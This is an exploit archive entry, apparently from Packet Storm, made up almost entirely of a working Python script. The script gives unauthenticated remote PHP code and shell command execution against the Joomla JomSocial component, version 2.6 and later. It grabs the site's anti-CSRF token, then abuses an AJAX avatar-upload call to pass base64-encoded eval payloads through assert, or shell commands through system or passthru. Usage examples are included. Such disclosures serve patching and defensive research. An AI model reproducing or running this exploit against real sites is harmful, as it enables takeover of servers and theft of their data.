Joomla JomSocial 2.6 Code Execution

2014-01-31T00:00:00
ID PACKETSTORM:125005
Type packetstorm
Reporter Matias Fontanini
Modified 2014-01-31T00:00:00

Description

                                        
                                            `#!/usr/bin/python  
#  
# Joomla! JomSocial component >= 2.6 PHP code execution exploit  
#  
# Authors:  
# - Matias Fontanini  
# - Gaston Traberg  
#  
# This exploit allows the execution of PHP code without any prior   
# authentication on the Joomla! JomSocial component.  
#  
# Note that in order to be able to execute PHP code, both the "eval"   
# and "assert" functions must be enabled. It is also possible to execute  
# arbitrary PHP functions, without using them. Therefore, it is possible  
# to execute shell commands using "system", "passthru", etc, as long  
# as they are enabled.  
#  
# Examples:  
#  
# Execute PHP code:  
# ./exploit.py -u http://example.com/index.php -p "echo 'Hello World!';"  
# ./exploit.py -u http://example.com/index.php -p /tmp/script_to_execute.php  
#   
# Execute shell commands(using system()):  
# ./exploit.py -u http://example.com/index.php -s "netstat -n"  
#  
# Exploit shell commands(using a user provided function, passthru in this case)  
# ./exploit.py -u http://example.com/joomla/index.php -s "netstat -natp" -c passthru  
#  
# Exploit execution example:  
# $ python exploit.py -u http://example.com/index.php -p 'var_dump("Hello World!");'  
# [i] Retrieving cookies and anti-CSRF token... Done  
# [+] Executing PHP code...  
# string(12) "Hello World!"  
  
import urllib, urllib2, re, argparse, sys, os  
  
class Exploit:  
token_request_data = 'option=com_community&view=frontpage'  
exploit_request_data = 'option=community&no_html=1&task=azrul_ajax&func=photos,ajaxUploadAvatar&{0}=1&arg2=["_d_","Event"]&arg3=["_d_","374"]&arg4=["_d_","{1}"]'  
json_data = '{{"call":["CStringHelper","escape", "{1}","{0}"]}}'  
  
def __init__(self, url, user_agent = None, use_eval = True):  
self.url = url  
self._set_user_agent(user_agent)  
self.use_eval = use_eval  
self.token_regex = re.compile('<input type=\"hidden\" name=\"([\w\d]{32})\" value=\"1\" \/>')  
self.cookie, self.token = self._retrieve_token()  
self.result_regex = re.compile('method=\\\\"POST\\\\" enctype=\\\\"multipart\\\\/form-data\\\\"><br>(.*)<div id=\\\\"avatar-upload\\\\">', re.DOTALL)  
self.command_regex = re.compile('(.*)\\[\\["as","ajax_calls","d",""\\]', re.DOTALL)  
  
def _set_user_agent(self, user_agent):  
self.user_agent = user_agent  
  
def _make_opener(self, add_cookie = True):  
opener = urllib2.build_opener()  
if add_cookie:  
opener.addheaders.append(('Cookie', self.cookie))  
opener.addheaders.append(('Referer', self.url))  
if self.user_agent:  
opener.addheaders.append(('User-Agent', self.user_agent))  
return opener  
  
def _retrieve_token(self):  
opener = self._make_opener(False)  
sys.stdout.write('[i] Retrieving cookies and anti-CSRF token... ')  
sys.stdout.flush()  
req = opener.open(self.url, Exploit.token_request_data)  
data = req.read()  
token = self.token_regex.findall(data)  
if len(token) < 1:  
print 'Failed'  
raise Exception("Could not retrieve anti-CSRF token")  
print 'Done'  
return (req.headers['Set-Cookie'], token[0])  
  
def _do_call_function(self, function, parameter):  
parameter = parameter.replace('"', '\\"')  
json_data = Exploit.json_data.format(function, parameter)  
json_data = urllib2.quote(json_data)  
data = Exploit.exploit_request_data.format(self.token, json_data)  
opener = self._make_opener()  
req = opener.open(self.url, data)  
if function == 'assert':  
return req.read()  
elif function in ['system', 'passthru']:  
result = self.command_regex.findall(req.read())  
if len(result) == 1:  
return result[0]  
else:  
return "[+] Error executing command."  
else:  
result = self.result_regex.findall(req.read())  
if len(result) == 1:  
return result[0].replace('\\/', '/').replace('\\"', '"').replace('\\n', '\n')  
else:  
return "[+] Error executing command."  
  
def call_function(self, function, parameter):  
if self.use_eval:  
return self.eval("echo {0}('{1}')".format(function, parameter))  
else:  
return self._do_call_function(function, parameter)  
  
def disabled_functions(self):  
return self.call_function("ini_get", "disable_functions")  
  
def test_injection(self):  
result = self.eval("echo 'HELLO' . ' - ' . 'WORLD';")  
if 'HELLO - WORLD' in result:  
print "[+] Code injection using eval works"  
else:  
print "[+] Code injection doesn't work. Try executing shell commands."  
  
def eval(self, code):  
if code [-1] != ';':  
code = code + ';'  
return self._do_call_function('assert', "@exit(@eval(@base64_decode('{0}')));".format(code.encode('base64').replace('\n', '')))  
  
  
  
parser = argparse.ArgumentParser(  
description="JomSocial >= 2.6 - Code execution exploit"  
)  
parser.add_argument('-u', '--url', help='the base URL', required=True)  
parser.add_argument(  
'-p',   
'--php-code',   
help='the PHP code to execute. Use \'-\' to read from stdin, or provide a file path to read from')  
parser.add_argument('-s', '--shell-command', help='the shell command to execute')  
parser.add_argument('-c', '--shell-function', help='the PHP function to use when executing shell commands', default="system")  
parser.add_argument('-t', '--test', action='store_true', help='test the PHP code injection using eval', default=False)  
parser.add_argument('-n', '--no-eval', action='store_false', help='don\'t use eval when executing shell commands', default=True)  
  
args = parser.parse_args()   
if not args.test and not args.php_code and not args.shell_command:  
print '[-] Need -p, -t or -s to do something...'  
exit(1)  
url = args.url  
try:  
if not url.startswith('http://') and not url.startswith('https://'):  
url = 'http://' + url  
exploit = Exploit(url, use_eval=args.no_eval)  
if args.test:  
exploit.test_injection()  
elif args.php_code:  
code = args.php_code  
if args.php_code == '-':  
print '[i] Enter the code to be executed:'  
code = sys.stdin.read()  
elif os.path.isfile(code):  
try:  
fd = open(code)  
code = fd.read()  
fd.close()  
except Exception:  
print "[-] Error reading the file."  
exit(1)  
print '[+] Executing PHP code...'  
print exploit.eval(code)  
elif args.shell_command:  
print exploit.call_function(args.shell_function, args.shell_command)  
except Exception as ex:  
print '[+] Error: ' + str(ex)  
`